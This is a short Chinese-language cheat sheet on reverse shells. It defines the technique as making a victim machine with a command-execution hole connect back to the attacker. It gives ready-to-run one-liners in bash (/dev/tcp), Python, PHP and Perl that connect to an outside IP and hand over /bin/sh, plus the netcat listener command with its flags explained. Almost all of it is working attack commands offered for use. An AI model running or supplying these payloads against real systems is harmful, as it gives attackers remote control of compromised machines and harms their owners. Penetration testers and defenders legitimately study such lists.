反弹shell
反弹shell,是指从受害者的机器上主动连接到指定的机器上的可交且能执行命令的TCP进程。反弹shell的前提是受害者的
机器上有命令执行的漏洞。常见的一句话反弹shell,如下:
- bash 反弹shell
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 2>&1
参数解释:
bash -i:产生一个bash的交互环境
“>&”:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者,将标准输入0和标准出错2重定向到标准输出
- python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",portn));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php 反弹shell
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- perl 反弹shell
perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
服务端开启监听服务
nc -lvp 9999
-l:listening the port
v:列出详细信息
p:端口